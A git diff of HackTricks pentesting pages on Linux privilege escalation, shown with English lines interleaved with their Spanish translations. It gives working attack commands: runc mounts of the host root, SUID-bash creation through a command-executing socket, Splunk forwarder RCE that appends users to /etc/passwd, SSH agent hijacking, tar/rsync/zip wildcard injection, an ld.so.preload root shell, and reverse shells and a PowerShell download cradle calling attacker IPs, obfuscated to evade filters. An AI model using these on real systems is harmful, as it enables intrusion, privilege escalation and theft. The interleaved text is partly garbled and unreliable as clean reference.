If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. Si encuentras que `runc` está instalado en el host, es posible que puedas **ejecutar un contenedor montando la carpeta raíz / del host**.
```bash ```bash
runc -help #Get help and see if runc is intalled runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines: Inside the "mounts" section of the create config.json add the following lines:
{ {
"type": "bind", "type": "bind",
"source": "/", "source": "/",
"destination": "/", "destination": "/",
"options": [ "options": [
"rbind", "rbind",
"rw", "rw",
"rprivate" "rprivate"
] ]
}, },
#Once you have modified the config.json file, create the folder rootfs in the same directory #Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host # The root folder is the one from the host
runc run demo runc run demo
``` ```
> [!CAUTION] > [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. > Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario no privilegiado simplemente no puede funcionar (a menos que tengas una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de los contenedores sin root.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers # SELinux en Contenedores
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) [Introducción y ejemplo de la documentación de redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. [SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada objeto del sistema de **archivos** tiene una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que se **permite hacer a una etiqueta de proceso con todas las demás etiquetas** en el sistema.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
Los motores de contenedores lanzan **procesos de contenedor con una única etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen que el contenedor dentro del contenedor tenga la etiqueta `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**. Si un proceso de contenedor escapa del contenedor e intenta escribir en contenido en el host, el núcleo de Linux deniega el acceso y solo permite que el proceso de contenedor escriba en contenido etiquetado como `container_file_t`.
```shell ```shell
$ podman run -d fedora sleep 100 $ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL LABEL
system_u:system_r:container_t:s0:c647,c780 system_u:system_r:container_t:s0:c647,c780
``` ```
# Usuarios de SELinux
# SELinux Users Hay usuarios de SELinux además de los usuarios regulares de Linux. Los usuarios de SELinux son parte de una política de SELinux. Cada usuario de Linux está mapeado a un usuario de SELinux como parte de la política. Esto permite que los usuarios de Linux hereden las restricciones y las reglas y mecanismos de seguridad impuestos a los usuarios de SELinux.
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python ## Ejemplo de enlace de socket con Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
En el siguiente ejemplo se **crea un socket unix** (`/tmp/socket_test.s`) y todo lo **recibido** va a ser **ejecutado** por `os.system`. Sé que no vas a encontrar esto en la vida real, pero el objetivo de este ejemplo es ver cómo se ve un código que utiliza sockets unix y cómo gestionar la entrada en el peor de los casos.
```python:s.py ```python:s.py
import socket import socket
import os, os.path import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque from collections import deque
if os.path.exists("/tmp/socket_test.s"): if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s") os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s") server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s")
while True: while True:
server.listen(1) server.listen(1)
conn, addr = server.accept() conn, addr = server.accept()
datagram = conn.recv(1024) datagram = conn.recv(1024)
if datagram: if datagram:
print(datagram) print(datagram)
os.system(datagram) os.system(datagram)
conn.close() conn.close()
``` ```
**Ejecuta** el código usando python: `python s.py` y **verifica cómo el socket está escuchando**:
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
```python ```python
netstat -a -p --unix | grep "socket_test" netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info (Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.) will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
``` ```
**Explotar**
**Exploit**
```python ```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence # Splunk LPE y Persistencia
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. Si **enumerando** una máquina **internamente** o **externamente** encuentras **Splunk en ejecución** (puerto 8090), si tienes la suerte de conocer alguna **credencial válida** puedes **abusar del servicio de Splunk** para **ejecutar un shell** como el usuario que ejecuta Splunk. Si lo está ejecutando root, puedes escalar privilegios a root.
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. Además, si ya eres **root y el servicio de Splunk no está escuchando solo en localhost**, puedes **robar** el archivo de **contraseña** **del** servicio de Splunk y **crackear** las contraseñas, o **agregar nuevas** credenciales a él. Y mantener persistencia en el host.
In the first image below you can see how a Splunkd web page looks like. En la primera imagen a continuación puedes ver cómo se ve una página web de Splunkd.
## Splunk Universal Forwarder Agent Exploit Summary ## Resumen de la Explotación del Agente Splunk Universal Forwarder
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: Para más detalles, consulta la publicación [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Este es solo un resumen:
**Exploit Overview:** **Descripción de la Explotación:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. Una explotación que apunta al Agente Splunk Universal Forwarder (UF) permite a los atacantes con la contraseña del agente ejecutar código arbitrario en sistemas que ejecutan el agente, comprometiendo potencialmente toda una red.
**Key Points:** **Puntos Clave:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. - El agente UF no valida las conexiones entrantes ni la autenticidad del código, lo que lo hace vulnerable a la ejecución no autorizada de código.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. - Los métodos comunes de adquisición de contraseñas incluyen localizarlas en directorios de red, comparticiones de archivos o documentación interna.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. - La explotación exitosa puede llevar a acceso a nivel de SYSTEM o root en hosts comprometidos, exfiltración de datos y mayor infiltración en la red.
**Exploit Execution:** **Ejecución de la Explotación:**
1. Attacker obtains the UF agent password. 1. El atacante obtiene la contraseña del agente UF.
2. Utilizes the Splunk API to send commands or scripts to the agents. 2. Utiliza la API de Splunk para enviar comandos o scripts a los agentes.
3. Possible actions include file extraction, user account manipulation, and system compromise. 3. Las acciones posibles incluyen extracción de archivos, manipulación de cuentas de usuario y compromiso del sistema.
**Impact:** **Impacto:**
- Full network compromise with SYSTEM/root level permissions on each host. - Compromiso total de la red con permisos a nivel de SYSTEM/root en cada host.
- Potential for disabling logging to evade detection. - Potencial para deshabilitar el registro para evadir la detección.
- Installation of backdoors or ransomware. - Instalación de puertas traseras o ransomware.
**Example Command for Exploitation:**
**Ejemplo de Comando para la Explotación:**
```bash ```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
``` ```
**Exploits públicos utilizables:**
**Usable public exploits:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487 - https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries ## Abusando de las consultas de Splunk
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** **Para más detalles, consulta la publicación [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Summary # Resumen
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
¿Qué puedes hacer si descubres dentro de `/etc/ssh_config` o dentro de `$HOME/.ssh/config` esta configuración:
``` ```
ForwardAgent yes ForwardAgent yes
``` ```
Si eres root dentro de la máquina, probablemente **puedas acceder a cualquier conexión ssh realizada por cualquier agente** que puedas encontrar en el _/tmp_ directorio.
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory Suplantar a Bob usando uno de los ssh-agent de Bob:
Impersonate Bob using one of Bob's ssh-agent:
```bash ```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
``` ```
## ¿Por qué funciona esto?
## Why does this work? Cuando estableces la variable `SSH_AUTH_SOCK`, estás accediendo a las claves de Bob que se han utilizado en la conexión ssh de Bob. Luego, si su clave privada todavía está allí (normalmente lo estará), podrás acceder a cualquier host usándola.
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. Como la clave privada se guarda en la memoria del agente sin cifrar, supongo que si eres Bob pero no conoces la contraseña de la clave privada, aún puedes acceder al agente y usarla.
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. Otra opción es que el usuario propietario del agente y root puedan acceder a la memoria del agente y extraer la clave privada.
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. # Explicación larga y explotación
# Long explanation and exploitation **Consulta la [investigación original aquí](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,71 +2,59 @@
## chown, chmod ## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files** Puedes **indicar qué propietario de archivo y permisos deseas copiar para el resto de los archivos**
```bash ```bash
touch "--reference=/my/own/path/filename" touch "--reference=/my/own/path/filename"
``` ```
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque combinado)_\
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar ## Tar
**Execute arbitrary commands:** **Ejecutar comandos arbitrarios:**
```bash ```bash
touch "--checkpoint=1" touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh" touch "--checkpoint-action=exec=sh shell.sh"
``` ```
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque tar)_\
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync ## Rsync
**Execute arbitrary commands:** **Ejecutar comandos arbitrarios:**
```bash ```bash
Interesting rsync option from manual: Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use -e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine --rsync-path=PROGRAM specify the rsync to run on remote machine
``` ```
```bash ```bash
touch "-e sh shell.sh" touch "-e sh shell.sh"
``` ```
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z ## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: En **7z** incluso usando `--` antes de `*` (ten en cuenta que `--` significa que la entrada siguiente no puede ser tratada como parámetros, así que solo rutas de archivos en este caso) puedes causar un error arbitrario para leer un archivo, así que si un comando como el siguiente está siendo ejecutado por root:
```bash ```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 7za a /backup/$filename.zip -t7z -snl -p$pass -- *
``` ```
Y puedes crear archivos en la carpeta donde se está ejecutando esto, podrías crear el archivo `@root.txt` y el archivo `root.txt` siendo un **symlink** al archivo que deseas leer:
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
```bash ```bash
cd /path/to/7z/acting/folder cd /path/to/7z/acting/folder
touch @root.txt touch @root.txt
ln -s /file/you/want/to/read root.txt ln -s /file/you/want/to/read root.txt
``` ```
Entonces, cuando **7z** se ejecute, tratará `root.txt` como un archivo que contiene la lista de archivos que debe comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, generará un error** mostrando el contenido.
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. _Más información en los Write-ups de la caja CTF de HackTheBox._
_More info in Write-ups of the box CTF from HackTheBox._
## Zip ## Zip
**Execute arbitrary commands:** **Ejecutar comandos arbitrarios:**
```bash ```bash
zip name.zip files -T --unzip-command "sh -c whoami" zip name.zip files -T --unzip-command "sh -c whoami"
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root # Escritura Arbitraria de Archivos en Root
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload ### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ Este archivo se comporta como la variable de entorno **`LD_PRELOAD`**, pero también funciona en **binarios SUID**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. Si puedes crearlo o modificarlo, simplemente puedes agregar una **ruta a una biblioteca que se cargará** con cada binario ejecutado.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
Por ejemplo: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c ```c
#include <stdio.h> #include <stdio.h>
#include <sys/types.h> #include <sys/types.h>
#include <stdlib.h> #include <stdlib.h>
void _init() { void _init() {
unlink("/etc/ld.so.preload"); unlink("/etc/ld.so.preload");
setgid(0); setgid(0);
setuid(0); setuid(0);
system("/bin/bash"); system("/bin/bash");
} }
//cd /tmp //cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles //gcc -fPIC -shared -o pe.so pe.c -nostartfiles
``` ```
### Git hooks ### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. [**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) son **scripts** que se **ejecutan** en varios **eventos** en un repositorio git, como cuando se crea un commit, un merge... Así que si un **script o usuario privilegiado** está realizando estas acciones con frecuencia y es posible **escribir en la carpeta `.git`**, esto se puede utilizar para **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
Por ejemplo, es posible **generar un script** en un repositorio git en **`.git/hooks`** para que se ejecute siempre que se crea un nuevo commit:
```bash ```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit chmod +x pre-commit
``` ```
### Cron & Time files ### Cron & Time files
TODO TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc ### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. El archivo ubicado en `/proc/sys/fs/binfmt_misc` indica qué binario debe ejecutar qué tipo de archivos. TODO: verifica los requisitos para abusar de esto para ejecutar un rev shell cuando se abre un tipo de archivo común.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,9 @@
# Useful Linux Commands # Comandos útiles de Linux
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Common Bash ## Bash común
```bash ```bash
#Exfiltration using Base64 #Exfiltration using Base64
base64 -w 0 file base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip # List files inside zip
7z l file.zip 7z l file.zip
``` ```
## Bash para Windows
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
```bash ```bash
#Base64 for Windows #Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686 #sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c i686-mingw32msvc-gcc -o executable useradd.c
``` ```
## Greps ## Greps
```bash ```bash
#Extract emails from file #Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers #Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
``` ```
## Encontrar
## Find
```bash ```bash
# Find SUID set files. # Find SUID set files.
find / -perm /u=s -ls 2>/dev/null find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5) # Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
``` ```
## Ayuda de búsqueda de Nmap
## Nmap search help
```bash ```bash
#Nmap scripts ((default or version) and smb)) #Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*" nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)" nmap --script-help "(default or version) and smb)"
``` ```
## Bash ## Bash
```bash ```bash
#All bytes inside a file (except 0x20 and 0x00) #All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
``` ```
## Iptables ## Iptables
```bash ```bash
#Delete curent rules and chains #Delete curent rules and chains
iptables --flush iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT iptables -P OUTPUT ACCEPT
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -2,26 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> ## Bypasses de Limitaciones Comunes
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
### Shell Inversa
```bash ```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
``` ```
### Shell Rev corta
### Short Rev shell
```bash ```bash
#Trick from Dikline #Trick from Dikline
#Get a rev shell with #Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it: #Then get the out of the rev shell executing inside of it:
exec >&0 exec >&0
``` ```
### Bypass Paths y palabras prohibidas
### Bypass Paths and forbidden words
```bash ```bash
# Question mark binary substitution # Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping /usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error whoa # This will throw an error
!-1!-2 # This will execute whoami !-1!-2 # This will execute whoami
``` ```
### Bypass forbidden spaces ### Bypass forbidden spaces
```bash ```bash
# {form} # {form}
{cat,lol.txt} # cat lol.txt {cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a uname!-1\-a # This equals to uname -a
``` ```
### Bypass backslash y slash
### Bypass backslash and slash
```bash ```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
``` ```
### Bypass pipes ### Bypass pipes
```bash ```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
``` ```
### Bypass con codificación hexadecima
### Bypass with hex encoding
```bash ```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
